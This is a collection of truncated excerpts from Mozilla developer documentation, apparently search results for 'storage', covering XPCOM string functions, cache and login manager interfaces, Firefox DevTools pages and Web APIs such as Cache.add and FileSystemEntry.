l buffer specifying where to place the given characters. void insert( const char_type* adata, index_type aposition, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to append to this string. aposition [in] an offset into the string's internal buffer specifying where to place the given characters. adatalength [in] the length of adata, measured in storage units. if equal to pr_uint32_max, then adata is assumed to be null-terminated. otherwise, adata need not be null terminated. void insert( char_type achar, index_type aposition ); parameters achar [in] a character to append to this string. aposition [in] an offset into the string's internal buffer specifying where to place the given characters. remarks if insufficient memory is availa...
Length
size_type length() const; ...
nsCString
instances of this class allocate strings on the heap. names: nsstring for wide characters nscstring for narrow characters this class is also known as nsaflat[c]string, where "flat" is used to denote a null-terminated string. ...
nsEmbedCString
o copy into this string. explicit nsembedcstring( const abstract_string_type& aabstractstring ); parameters aabstractstring [in] a nsacstring to copy into this string. explicit nsembedcstring( const char_type* adata, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to copy into this string. adatalength [in] the length of adata, measured in storage units. if equal to pr_uint32_max, then adata is assumed to be null-terminated. otherwise, adata need not be null terminated. remarks the default constructor sets the string's internal buffer to point to a static empty (zero-length) buffer. ...
nsEmbedCString
#include "nsembedstring.h" class nsembedcstring : public nsacstring { ... }; typedefs self_type [nsembedcstring] an alias for the type of this class. abstract_string_type [nsacstring] an alias for the abstract string type this class specializes. methods nsembedcstring constructors for nsembedcstring. get the get function returns a const pointer to the string's null-terminated, internal buffer. ...
nsEmbedString
g to copy into this string. explicit nsembedstring( const abstract_string_type& aabstractstring ); parameters aabstractstring [in] a nsastring to copy into this string. explicit nsembedstring( const char_type* adata, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to copy into this string. adatalength [in] the length of adata, measured in storage units. if equal to pr_uint32_max, then adata is assumed to be null-terminated. otherwise, adata need not be null terminated. remarks the default constructor sets the string's internal buffer to point to a static empty (zero-length) buffer. ...
nsEmbedString
#include "nsembedstring.h" // or: #include "nsstringglue.h" if inside gecko class nsembedstring : public nsastring { ... }; typedefs self_type [nsembedstring] an alias for the type of this class. abstract_string_type [nsastring] an alias for the abstract string type this class specializes. methods nsembedstring constructors for nsembedstring. get the get function returns a const pointer to the string's null-terminated, internal buffer. ...
nsString
instances of this class allocate strings on the heap. names: nsstring for wide characters nscstring for narrow characters this class is also known as nsaflat[c]string, where "flat" is used to denote a null-terminated string. ...
imgICache
any images from windows in private browsing mode will not be present in the cache returned from a call with a null parameter). method overview void clearcache(in boolean chrome); nsiproperties findentryproperties(in nsiuri uri); void removeentry(in nsiuri uri); methods clearcache() evict images from the cache. void clearcache( ...
nsIApplicationCache
string key, in unsigned long typebits); void unmarkentry(in acstring key, in unsigned long typebits); attributes attribute type description active boolean true if the cache is the active cache for this group, otherwise false. read only. clientid acstring the client id for this application cache. clients can open a session with nsicacheservice.createsession() using this client id and a storage policy of store_offline to access this cache. read only. groupid acstring the group id for this cache group. this is the uri of the cache manifest file. read only. usage unsigned long the disk usage of the application cache, in bytes. read only. constants constant value description item_manifest 1 this item is the application manifest. item_explicit 2 this item was explicitly listed...
nsICacheEntryDescriptor
read only. predicteddatasize print64 stores the content-length specified in the http header for this entry. checked before we write to the cache entry, to prevent ever taking up space in the cache for an entry that we know up front is going to have to be evicted anyway. see bug 588507. securityinfo nsisupports get or set security info on the cache entry for this descriptor. this fails if the storage policy is not store_in_memory. storagepolicy nscachestoragepolicy get or set the storage policy of the cache entry. see nsicache for the definitions of the storage policies. methods close() this method explicitly closes the descriptor (optional). void close(); parameters none. doom() this method dooms the cache entry this descriptor references in order to slate it for removal. once doomed a...
nsIContentPrefService
useful for accessing and manipulating preferences in ways that are caller-specific or for which there is not yet a generic method, although generic functionality useful to multiple callers should generally be added to this unfrozen interface. also useful for testing the database creation and migration code. read only. ...
nsIContentPrefService2
e.com", or as full urls, like "http://example.com/foo/bar". in the latter case the api extracts the full domain from the url, so if you specify "http://foo.bar.example.com/baz", the domain is taken to be "foo.bar.example.com", not "example.com". private-browsing context parameters many methods also accept a "context" parameter. this parameter relates to private browsing and determines the kind of storage that a method uses, either the usual permanent storage or temporary storage set() aside for private browsing sessions. pass null to unconditionally use permanent storage. pass an nsiloadcontext to use storage appropriate to the context's useprivatebrowsing attribute: if useprivatebrowsing is true, temporary private-browsing storage is used, and otherwise permanent storage is used. a context can b...
nsIDBChangeListener
ed. void onhdrpropertychanged(in nsimsgdbhdr ahdrtochange, in prbool aprechange, inout pruint32 astatus, in nsidbchangelistener ainstigator); parameters ahdrtochange the nsimsgdbhdr of the message that is changing. aprechange true on first call before change, false on second call after change. astatus the storage location provided by calling routine for status. ainstigator the caller who added the header. this can be used to filter out events that you yourself started. ainstigator may also be null. onevent() generic notification for extensibility. common events should be documented here so we have a hope of keeping the documentation up to date. current events are: dbopened when a pending listener...
nsIDOMMozNetworkStatsManager
rmid); nsidomdomrequest clearstats(in nsisupports network); nsidomdomrequest clearallstats(); nsidomdomrequest getavailablenetworks(); nsidomdomrequest getavailableservicetypes(); attributes attribute type description samplerate long minimum time in milliseconds between samples stored in the database. read only. maxstorageage long long time in milliseconds recorded by the api until present time. all samples older than maxstorageage from now are deleted. read only. constants constant type description wifi long constant for wifi, set to 0 mobile long constant for mobile, set to 1 methods getsamples() asynchronously queries network interface statistic...
getFile
ce will not cache the results of this method. symbolic names the list of symbolic names is subject to change, so be sure to take a look at the xpcom/io/nsdirectoryservicedefs.h file for the version of gecko you're working with for the latest list. available on all platforms these symbolic names are available on all platforms (although, of course, they may refer to different physical paths on the storage device). c constant string value notes ns_os_home_dir "home" ns_os_temp_dir "tmpd" ns_os_current_working_dir "curworkd" ns_os_desktop_dir "desk" otherwise same as home ns_os_current_process_dir "curprocd" ns_xpcom_current_process_dir "xcurprocd" can be overriden by passing a "bin d...
nsIFormHistory2
read only. hasentries boolean returns true if the form history has any entries. read only. methods addentry() adds a name and value pair to the form history. void addentry( in astring name, in astring value ); parameters name value entryexists() gets whether a name and value pair exists in the form his...
Using nsILoginManager
working with the login manager extensions often need to securely store passwords to external sites, web applications, and so on. to do so securely, they can use nsiloginmanager, which provides for secure storage of sensitive password information and nsilogininfo, which provides a way of storing login information. getting nsiloginmanager to get a component implementing nsiloginmanager, use the following: var passwordmanager = components.classes["@mozilla.org/login-manager;1"].getservice( components.interfaces.nsiloginmanager ); most login manager functions take an nsilogininfo object as a parameter. an nsilogininfo object contains the following attributes: hostname, form submit url, http realm, username, username field, password, and password field. the hostname, username and password att...
nsILoginMetaInfo
ds, when the login was last submitted in a form or used to begin an http auth session. timepasswordchanged unsigned long long the time, in unix epoch milliseconds, when the login's password was last modified. timesused unsigned long the number of times the login was submitted in a form or used to begin an http auth session. see also nsiloginmanager nsilogininfo creating a login manager storage module ...
nsIMsgFilterCustomAction
actions in the same filter list? default no. */ attribute boolean allowduplicates; /* * the custom action itself * * generally for the apply method, folder-based methods give correct * results and are preferred if available. otherwise, be careful * that the action does correct notifications to maintain counts, and correct * manipulations of both imap and local non-database storage of message * metadata. */ /** * apply the custom action to an array of messages * * @param msghdrs array of nsimsgdbhdr objects of messages * @param actionvalue user-set value to use in the action * @param copylistener calling method (filtertype manual only) * @param filtertype type of filter being applied * @param msgwindow message window */ void ...
nsIPrivateBrowsingService
rowsingservice interface provides access to information about the state of the private browsing feature offered in firefox 3.5 and later. when firefox is in private browsing mode, firefox shouldn't save any potentially private information. the browser itself stops caching, and also doesn't record history information. in addition, temporary, databases are created to be used for cookies and local storage; these databases are thrown away when private browsing mode is turned off, and the regular databases are re-activated. the temporary cookie and local storage databases start out empty. extensions that record potentially private information should use this interface to detect whether private browsing mode is enabled, and if it is, avoid saving that information. for details on how to do this, see ...
nsITransferable
page. kurldatamime text/x-moz-url-data a string containing only a url. kurldescriptionmime text/x-moz-url-desc a string containing only a description. kurlprivatemime text/x-moz-url-priv the same as kurldatamime, except intended for private use only. knativeimagemime application/x-moz-nativeimage an image in gecko's native internal image storage format. knativehtmlmime application/x-moz-nativehtml html in gecko's native internal storage format. khtmlcontext text/_moz_htmlcontext along with khtmlinfo, this is used to provide the context for a fragment of html source. contains the serialized ancestor elements. khtmlinfo text/_moz_htmlinfo along with khtmlcontext, this is used to provide the cont...
nsIWebBrowserPersist
inherits from: nsicancelable last changed in gecko 36.0 (firefox 36.0 / thunderbird 36.0 / seamonkey 2.33) implemented by: @mozilla.org/embedding/browser/nswebbrowser;1 and @mozilla.org/embedding/browser/nswebbrowserpersist;1. ...
nsIWindowMediator
w it should be constrained. note this method is advisory only: it changes nothing either in windowmediator's internal state or with the window. note: it compares the nsixulwindow to nsiwidgets. a pure interface would use all nsixulwindows. but we expect this to be called from callbacks originating in native window code. they are expected to hand us comparison values which are pulled from general storage in the native widget, and may not correspond to an nsiwidget at all. for that reason this interface requires only objects one step removed from the native window (nsiwidgets), and its implementation must be very understanding of what may be completely invalid pointers in those parameters. boolean calculatezposition( in nsixulwindow inwindow, in unsigned long inposition, in nsiwidget inbelo...
nsIWindowWatcher
users must keep this attribute current, including after the topmost window is closed. this attribute will be null if the active window is not an nsidomwindow; for example, if the active window is an alert. methods getchromeforwindow() retrieve the chrome window mapped to the...
NS_CStringAppendData
to the existing value of a nsacstring instance. this is a low-level api. #include "nsstringapi.h" nsresult ns_cstringappenddata( nsacstring& astring, const char* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsacstring instance to be modified. adata [in] a raw character array to copy into this string. adatalength [in] the length of adata, measured in storage units. if equal to pr_uint32_max, then adata is assumed to be null-terminated. otherwise, adata need not be null-terminated. return values the ns_cstringappenddata function returns ns_ok if successful. otherwise, it returns an error code. remarks this function is defined inline as a wrapper around ns_cstringsetdatarange. example nscstringcontainer str; ns_cstringcontainerinit(str); ns_cs...
NS_CStringCutData
reference summary the ns_cstringcutdata function removes a section of the string's internal buffer. this is a low-level api. #include "nsstringapi.h" nsresult ns_cstringcutdata( nsacstring& astring, pruint32 acutstart, pruint32 acutlength ); parameters astring [in] a nsacstring instance to be modified. acutstart [in] the starting index of the section to remove, measured in storage units. acutlength [in] the length of the section to remove, measured in storage units. pass pr_uint32_max to specify the length from acutstart to the end of the string. return values the ns_cstringcutdata function returns ns_ok if successful. otherwise, it returns an error code. remarks this function is defined inline as a wrapper around ns_cstringsetdatarange . example code nscstringconta...
NS_CStringGetData
= nsnull ); parameters astring [in] a nsacstring instance to inspect. adata [out] a const pointer to the string's internal buffer. aterminated [out] this optional result parameter indicates whether or not adata is null-terminated. it may be null if the caller is not interested in this information. return values the ns_cstringgetdata function returns the length of adata, measured in storage units (bytes). example code // count the number of times a particular character appears in a string. pruint32 countchar(const nsacstring& str, char c) { const char* data; pruint32 len = ns_cstringgetdata(str, &data); pruint32 count = 0; for (pruint32 i = 0; i < len; ++i) { if (data[i] == c) ++count; } return count; } history this function was finalized for mozilla...
NS_CStringInsertData
a( nsacstring& astring, pruint32 aoffset, const char* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsacstring instance to be modified. aoffset [in] an offset into the string's internal buffer specifying where to place the given characters. adata [in] a raw character array to copy into this string. adatalength [in] the length of adata, measured in storage units. if equal to pr_uint32_max, then adata is assumed to be null-terminated. otherwise, adata need not be null terminated. return values the ns_cstringinsertdata function returns ns_ok if successful. otherwise, it returns an error code. remarks this function is defined inline as a wrapper around ns_cstringsetdatarange. example code nscstringcontainer str; ns_cstringcontainerinit(str); ...
NS_CStringSetData
function copies data into the string's internal buffer. this is a low-level api. #include "nsstringapi.h" nsresult ns_cstringsetdata( nsacstring& astring, const char* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsacstring instance to modify. adata [in] a raw character array to copy into this string. adatalength [in] the length of adata, measured in storage units. if equal to pr_uint32_max, then adata is assumed to be null-terminated. otherwise, adata need not be null-terminated. return values the ns_cstringsetdata function returns ns_ok if successful. otherwise, it returns an error code. example nscstringcontainer str; rv = ns_cstringcontainerinit(str); if (ns_succeeded(rv)) { rv = ns_cstringsetdata(str, "hello world"); if (ns_succeeded(r...
NS_CStringSetDataRange
o a section of the string's internal buffer. this is a low-level api. #include "nsstringapi.h" nsresult ns_cstringsetdatarange( nsacstring& astring, pruint32 acutstart, pruint32 acutlength, const char* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsacstring instance to modify. acutstart [in] the starting index of the section to replace, measured in storage units. acutlength [in] the length of the section to replace, measured in storage units. adata [in] a raw character array to copy into this string. adatalength [in] the length of adata, measured in storage units. if equal to pr_uint32_max, then adata is assumed to be null-terminated. otherwise, adata need not be null terminated. return values the ns_cstringsetdatarange function returns...
NS_StringAppendData
ting value of a nsastring instance. this is a low-level api. #include "nsstringapi.h" nsresult ns_stringappenddata( nsastring& astring, const prunichar* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsastring instance to be modified. adata [in] a raw character array to copy into this string. adatalength [in] the length of adata, measured in storage units. if equal to pr_uint32_max, then adata is assumed to be null-terminated. otherwise, adata need not be null terminated. return values the ns_stringappenddata function returns ns_ok if successful. otherwise, it returns an error code. remarks this function is defined inline as a wrapper around ns_stringsetdatarange note: gcc requires the -fshort-wchar option to compile this example since...
NS_StringCutData
ference summary the ns_stringcutdata function removes a section of the string's internal buffer. this is a low-level api. #include "nsstringapi.h" nsresult ns_stringcutdata( nsastring& astring, pruint32 acutstart, pruint32 acutlength ); parameters astring [in] a nsastring instance to be modified. acutstart [in] the starting index of the section to remove, measured in storage units. acutlength [in] the length of the section to remove, measured in storage units. pass pr_uint32_max to specify the length from acutstart to the end of the string. return values the ns_stringcutdata function returns ns_ok if successful. otherwise, it returns an error code. remarks this function is defined inline as a wrapper around ns_stringsetdatarange. note: gcc requires the -fshor...
NS_StringGetData
ta( const nsastring& astring, const prunichar** adata, prbool* aterminated ); parameters astring [in] a nsastring instance to inspect. adata [out] a const pointer to the string's internal buffer. aterminated [out] this optional result parameter indicates whether or not adata is null-terminated. return values the ns_stringgetdata function returns the length of adata, measured in storage units (bytes). example code pruint32 countchar(const nsastring& str, prunichar c) { const prunichar* data; pruint32 len = ns_stringgetdata(str, &data); pruint32 count = 0; for (pruint32 i = 0; i < len; ++i) { if (data[i] == c) ++count; } return count; } history this function was frozen for mozilla 1.7. see bug 239123 for details. see also nsas...
NS_StringInsertData
tring& astring, pruint32 aoffset, const prunichar* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsacstring instance to be modified. aoffset [in] an offset into the string's internal buffer specifying where to place the given characters. adata [in] a raw character array to copy into this string. adatalength [in] the length of adata, measured in storage units. if equal to pr_uint32_max, then adata is assumed to be null-terminated. otherwise, adata need not be null terminated. return values the ns_stringinsertdata function returns ns_ok if successful. otherwise, it returns an error code. remarks this function is defined inline as a wrapper around ns_stringsetdatarange . note: gcc requires the -fshort-wchar option to compile this example sin...
NS_StringSetData
on copies data into the string's internal buffer. this is a low-level api. #include "nsstringapi.h" nsresult ns_stringsetdata( nsastring& astring, const prunichar* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsastring instance to modify. adata [in] a raw character array to copy into this string. adatalength [in] the length of adata, measured in storage units. if equal to pr_uint32_max, then adata is assumed to be null-terminated. otherwise, adata need not be null terminated. return values the ns_stringsetdata function returns ns_ok if successful. otherwise, it returns an error code. example code nsstringcontainer str; rv = ns_stringcontainerinit(str); if (ns_succeeded(rv)) { rv = ns_stringsetdata(str, "hello world"); if (ns_su...
NS_StringSetDataRange
of the string's internal buffer. this is a low-level api. #include "nsstringapi.h" nsresult ns_stringsetdatarange( nsastring& astring, pruint32 acutstart, pruint32 acutlength, const prunichar* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsastring instance to modify. acutstart [in] the starting index of the section to replace, measured in storage units. acutlength [in] the length of the section to replace, measured in storage units. adata [in] a raw character array to copy into this string. adatalength [in] the length of adata, measured in storage units. if equal to pr_uint32_max, then adata is assumed to be null-terminated. otherwise, adata need not be null terminated. return values the ns_stringsetdatarange function returns ns_ok if...
Warnings
this page is designed to help explain the cause and possible solutions for these warnings. sort operations this warning message will say something about the number of sort operations that have occurred for a sql statement. this happens when you have an order by clause that does not use an index. when you do not use an index, all the results from the query have to first be fetched, and then those results are sorted. however, when the index is used, the data can be obtained row by row from the database, which will be much faster. ...
Getting Started Guide
refed it. the caller can then hold onto the reference indefinitely, calling release when it no longer needs it. when the last pointer to an interface is released, the interface (and consequently, typically the underlying object) will delete itself. as long as there is an outstanding addref against the interface, it continues to exist. if you forget to call release, the object will leak, i.e., the storage for that object will never be reclaimed. leaks are bad :-). a reference through which you will call addref and release is called an owning reference. it holds a stake in the underlying object. that object cannot go away until the owning reference has relinquished its claim. not all references need to be owning references. in fact, if two objects somehow end up owning each other (even transitivel...
Using nsIPasswordManager
e code on this page will work with applications using toolkit 1.8 and below such as firefox 2.0.0.x and thunderbird 2.0.0.x. for similar functionality in toolkit 1.9, see using nsiloginmanager. working with password manager extensions often need to securely store passwords to external sites, web applications, and so on. to do so securely, they can use nsipasswordmanager, which provides for secure storage of sensitive password information. getting nsipasswordmanager to get a component implementing nsipasswordmanager, use the following: var passwordmanager = components.classes["@mozilla.org/passwordmanager;1"] .getservice(components.interfaces.nsipasswordmanager); storing a password to store a password in the password manager, you need three things: a hostname/url (...
XPCOM
n them.observer notificationsthe following are topics that you can observe during the course of an application. unless otherwise noted you register for the topics using the nsiobserverservice.setting http request headershttp is one of the core technologies behind the web. in addition to the actual content, some important information is passed with http headers for both http requests and responses.storagestorage is a sqlite database api. it is available to trusted callers, meaning extensions and firefox components only.the thread managerthe thread manager, introduced in firefox 3, offers an easy to use mechanism for creating threads and dispatching events to them for processing. troubleshooting xpcom components registrationoften the first time you create an xpcom component, it may fail to regi...
Mozilla technologies
ary and could not be released open source. starting with mozilla 1.9, it was phased out in favor of sqlite, a more widely-supported file format.placesplaces is the bookmarks and history management system introduced in firefox 3. it offers increased flexibility and complex querying to make handling the places the user goes easier and more convenient. it also includes new features including favicon storage and the ability to annotate pages with arbitrary information. it also introduces new user interfaces for managing all this information; see places on the mozilla wiki.preferences apithe publicity stream apithe publicity stream is a mozilla-hosted activity stream generated by a user's application usage. the publicity stream is provided as a central place for applications to publicize application u...
Working with windows in chrome code
is doesn't matter if you just store data in the component. learning to create xpcom components takes time. there are several articles and books about creating xpcom components online. using fuel application object the fuel library has been deprecated as of firefox 41 the fuel javascript library has a simple method for sharing data between windows. the application object supports a storage property which can be used to store data globally. this method is a simplified form of the xpcom singleton method. application.storage.set(keyname, data); var data = application.storage.get(keyname, default); where: keyname is a string used to identify the data data is the data default is the data value to return if keyname does not exists pros: its the "right way". ...
Using Objective-C from js-ctypes
withblocks/workingwithblocks.html var _nsconcreteglobalblock = ctypes.open(ctypes.libraryname('objc')).declare('_nsconcreteglobalblock', ctypes.voidptr_t); // //github.com/realityripple/uxp/blob/master/js/src/ctypes/library.cpp?offset=0#271 /** * the "block descriptor" is a static singleton struct. probably used in more * complex block scenarios involving actual closure variables needing storage * (in `nodobjc`, javascript closures are leveraged instead). */ // struct is seen here in docs: http://clang.llvm.org/docs/block-abi-apple.html var block_descriptor_1 = ctypes.structtype('block_descriptor_1', [ { reserved: ctypes.unsigned_long_long }, { size: ctypes.unsigned_long_long } ]); /** * we have to simulate what the llvm compiler does when it encounters a block * litera...
Mozilla
below are necessary. some of them are simply the ones i use because i like them, while others are scripts that i've created to speed up the work. you can in every case choose the program you prefer to do some operations, and you can also decide not to use any of my scripts and manually enter all of the commands by hand. it's your choice! creating a login manager storage module the login manager manages and stores user passwords. extensions can replace the built-in password storage with their own implementation. this can be useful if you want to integrate a gecko application's password management with an existing password management system, or use your own password storage format or database. so for example, on kde is is desira...
Examine, modify, and watch variables - Firefox Developer Tools
e has stopped at a breakpoint, you can examine its state in the variables pane of the debugger: variables are grouped by scope: in function scope you'll see the built-in arguments and this variables as well as local variables defined by the function like user and greeting. similarly, in global scope you'll see global variables you've defined, like greetme, as well as built-in globals like localstorage and console. each object can be expanded, using a disclosure triangle, to show its properties. pointing your cursor at a variable's name displays a tooltip that provides additional information about the variable. see object.defineproperty() for details on what these property descriptors mean. you can filter the variables that are displayed, either by using the "*" modifier in the script filter...
Debugger.Memory - Firefox Developer Tools
s of properties may share their property metadata; only property values are stored directly in the object. array objects may also be optimized, if the set of live indices is dense. strings spidermonkey has three representations of strings: normal: the string’s text is counted in its size. substring: the string is a substring of some other string, and points to that string for its storage. this representation may result in a small string retaining a very large string. however, the memory consumed by the string itself is a small constant independent of its size, since it is simply a reference to the larger string, a start position, and a length. concatenations: when asked to concatenate two strings, spidermonkey may elect to delay copying the strings’ data, and represent th...
Debugger-API - Firefox Developer Tools
fsets (a deviation from the “source level” design principle), and find other static characteristics of the code. a debugger.frame represents a running stack frame. you can use these to walk the stack and find each frame’s script and environment. you can also set onstep and onpop handlers on frames. a debugger.environment represents an environment, associating variable names with storage locations. environments may belong to a running stack frame, captured by a function closure, or reflect some global object’s properties as variables. the debugger instance itself is not really a shadow of anything in the debuggee; rather, it maintains the set of global objects which are to be considered debuggees. a debugger observes only execution taking place in the scope of these global ...
All keyboard shortcuts - Firefox Developer Tools
unlike the other toolbox-hosted tools, this shortcut does not also close the web console. instead, it focuses on the web console's command line. to close the web console, use the global toolbox shortcut of ctrl + shift + i (cmd + opt + i on a mac). 2. ...
Cookies - Firefox Developer Tools
the cookies table has the following columns: name — the name of the cookie. value — the value of the cookie. domain — the domain of the cookie. path — the path property of the cookie. expires / max-age — the time when the cookie will expire. if the cookie is a session cookie, the value of this column will be "session" size — the size of the cookie name plus value in bytes. ...
Tips - Firefox Developer Tools
ck "edit and resend" to modify its headers and send it again. check "enable persistent logs" in the settings to keep requests from before even after navigation. hover the "js" icon within the "cause" column to see the javascript stack trace, which caused the request. check "disable http cache (when toolbox is open)" in the settings to disable the network cache while debugging network issues. storage inspector right-click the column headers to open a menu allowing to toggle the display of the columns. right-click an entry and click "delete name" to delete it or "delete all" to delete all entries. select an entry to see the parsed value of it in the sidebar. ...
Firefox Developer Tools
eb apps (also known as progressive web apps). this includes inspection of service workers and web app manifests. note: the collective term for the ui inside which the devtools all live is the toolbox. more tools these developer tools are also built into firefox. unlike the "core tools" above, you might not use them every day. memory figure out which objects are keeping memory in use. storage inspector inspect cookies, local storage, indexeddb, and session storage present in a page. dom property viewer inspect the page's dom properties, functions, etc. eyedropper select a color from the page. style editor view and edit css styles for the current page. taking screenshots take a screenshot of the entire page or of a single element. measure a portion of the page measure a spec...
Attr.localName - Web APIs
Web › API › Attr › localName
mes after the colon. qualified names are typically used in xml as part of the namespace(s) of the particular xml documents. note: in gecko 1.9.2 and earlier, the property returns the upper-cased version of the local name for html attributes in html doms (as opposed to xhtml attributes in xml doms). in later versions, in compliance with html5, the property returns in the case of the internal dom storage, which is lower case for both html attributes in html doms and xhtml attributes in xml doms. specifications specification status comment domthe definition of 'attr.localname' in that specification. living standard initial definition ...
Cache.add() - Web APIs
Web › API › Cache › add
e status is not in the 200 range (i.e., not a successful response.) this occurs if the request does not return successfully, but also if the request is a cross-origin no-cors request (in which case the reported status is always 0.) examples this code block waits for an installevent to fire, then calls waituntil() to handle the install process for the app. this consists of calling cachestorage.open to create a new cache, then using cache.add to add an asset to it. this.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.add('/sw-test/index.html'); }) ); }); specifications specification status comment service workersthe definition of 'cache: add' in that specification. worki...
Cache.addAll() - Web APIs
Web › API › Cache › addAll
se status is not in the 200 range (i.e., not a successful response.) this occurs if the request does not return successfully, but also if the request is a cross-origin no-cors request (in which case the reported status is always 0.) examples this code block waits for an installevent to fire, then runs waituntil() to handle the install process for the app. this consists of calling cachestorage.open to create a new cache, then using addall() to add a series of assets to it. this.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.addall([ '/sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-log...
Cache.put() - Web APIs
Web › API › Cache › put
to match up to the request. return value a promise that resolves with undefined. note: the promise will reject with a typeerror if the url scheme is not http or https. examples this example is from the mdn sw-test example (see sw-test running live). here we wait for a fetchevent to fire. we construct a custom response like so: check whether a match for the request is found in the cachestorage using cachestorage.match(). if so, serve that. if not, open the v1 cache using open(), put the default network request in the cache using cache.put() and return a clone of the default network request using return response.clone(). clone is needed because put() consumes the response body. if this fails (e.g., because the network is down), return a fallback response. var response; var cachedres...
Clipboard - Web APIs
Web › API › Clipboard
time browser requirements for access to the clipboard vary significantly. please see the section clipboard availability for details. all of the clipboard api methods operate asynchronously; they return a promise which is resolved once the clipboard access has been completed. the promise is rejected if clipboard access is denied. the clipboard is a data buffer that is used for short-term, data storage and/or data transfers, this can be between documents or applications it is usually implemented as an anonymous, temporary data buffer, sometimes called the paste buffer, that can be accessed from most or all programs within the environment via defined programming interfaces. a typical application accesses clipboard functionality by mapping user input such as keybindings, menu selections, etc. ...
Detecting device orientation - Web APIs
ion and elevation changes caused by the user moving the device. the second event is the devicemotionevent, which is sent when a change in acceleration was added. it is different from the deviceorientationevent because it is listening for changes in acceleration as opposed to orientation. sensors that are commonly capable of detecting devicemotionevent include sensors in laptops to protect moving storage devices. deviceorientationevent is more commonly found in mobile devices. processing orientation events all you need to do in order to begin receiving orientation change is to listen to the deviceorientation event: note: gyronorm.js is a polyfill for normalizing the accelerometer and gyroscope data on mobile devices. this is useful for overcoming some of the differences in device support for ...
EXT_color_buffer_half_float - Web APIs
loat extension. the oes_texture_half_float extension implicitly enables this extension. constants ext.rgba16f_ext rgba 16-bit floating-point color-renderable format. ext.rgb16f_ext rgb 16-bit floating-point color-renderable format. ext.framebuffer_attachment_component_type_ext ? ext.unsigned_normalized_ext ? extended methods this extension extends webglrenderingcontext.renderbufferstorage(): the internalformat parameter now accepts ext.rgba16f_ext and ext.rgba16f_ext. examples var ext = gl.getextension('ext_color_buffer_half_float'); gl.renderbufferstorage(gl.renderbuffer, ext.rbga16f_ext, 256, 256); specifications specification status comment ext_color_buffer_half_floatthe definition of 'ext_color_buffer_half_float' in that specification. reco...
EXT_sRGB - Web APIs
Web › API › EXT sRGB
availability: this extension is only available to webgl1 contexts. in webgl2, the functionality of this extension is available on the webgl2 context by default. the constants in webgl2 are: gl.srgb, gl.srgb8, gl.srgb8_alpha8 and gl.framebuffer_attachment_color_encoding. constants this extension exposes the following constants, which can be used in the teximage2d(), texsubimage2d(), renderbufferstorage() and getframebufferattachmentparameter() methods. ext.srgb_ext unsized srgb format that leaves the precision up to the driver. ext.srgb_alpha_ext unsized srgb format with unsized alpha component. ext.srgb8_alpha8_ext sized (8-bit) srgb and alpha formats. ext.framebuffer_attachment_color_encoding_ext returns the framebuffer color encoding (gl.linear or ext.srgb_ext). examples var ext...
Element.localName - Web APIs
Web › API › Element › localName
<ecomm:partners> <ecomm:partner id="1001">tony's syrup warehouse </ecomm:partner> </ecomm:partner> </ecomm:business> note: in gecko 1.9.2 and earlier, the property returns the upper-cased version of the local name for html elements in html doms (as opposed to xhtml elements in xml doms). in later versions, in compliance with html5, the property returns in the case of the internal dom storage, which is lower case for both html elements in html doms and xhtml elements in xml doms. the tagname property continues to return in the upper case for html elements in html doms. specifications specification status comment domthe definition of 'element.localname' in that specification. living standard initial definition ...
Event - Web APIs
Web › API › Event
properties event.bubbles read only a boolean indicating whether or not the event bubbles up through the dom. event.cancelbubble a historical alias to event.stoppropagati...
EventSource - Web APIs
unidirectional; that is, data messages are delivered in one direction, from the server to the client (such as a user's web browser). that makes them an excellent choice when there's no need to send data from the client to the server in message form. for example, eventsource is a useful approach for handling things like social media status updates, news feeds, or delivering data into a client-side storage mechanism like indexeddb or web storage. when not used over http/2, sse suffers from a limitation to the maximum number of open connections, which can be specially painful when opening various tabs as the limit is per browser and set to a very low number (6). the issue has been marked as "won't fix" in chrome and firefox. this limit is per browser + domain, so that means that you can open 6 sse...
FileException - Web APIs
4 the file or directory cannot be read, typically due to permission problems that occur after a reference to a file has been acquired (for example, the file or directory is concurrently locked by another application). path_exists_err 12 the file or directory with the same path already exists. quota_exceeded_err 10 either there's not enough remaining storage space or the storage quota was reached and the user declined to give more space to the database. security_err 2 access to the files were denied for one of the following reasons: the files might be unsafe for access within a web application. too many calls are being made on file resources. other unspecified security error code or situations. ...
FileSystemDirectoryEntry - Web APIs
oryentry = window.directoryentry || window.webkitdirectoryentry; ... function onfs(fs){ fs.root.getdirectory('documents', {create:true}, function(directoryentry){ //directoryentry.isfile === false //directoryentry.isdirectory === true //directoryentry.name === 'documents' //directoryentry.fullpath === '/documents' }, onerror); } // opening a file system with temporary storage window.requestfilesystem(temporary, 1024*1024 /*1mb*/, onfs, onerror); properties this interface has no properties of its own, but inherits properties from its parent interface, filesystementry. methods this interface inherits methods from its parent interface, filesystementry. createreader() creates a filesystemdirectoryreader object which can be used to read the entries in this director...
FileSystemEntry.copyTo() - Web APIs
s a single parameter: a fileerror describing what went wrong. return value undefined. errors fileerror.invalid_modification_err the requested operation involves an impossible change, such as moving a directory inside itself or one of its own child directories, or copying an item within the same directory without renaming it. fileerror.quota_exceeded_err the operation exceeded the user's storage quota, or there isn't enough storage space left to complete the operation. example this example shows how a temporary log file might be moved into a more permanent "log" directory. workingdirectory.getfile("tmp/log.txt", {}, function(fileentry) { workingdirectory.getdirectory("log", {}, function(direntry) { fileentry.copyto(direntry); }, handleerror); }, handleerror); browser compati...
FileSystemEntry.moveTo() - Web APIs
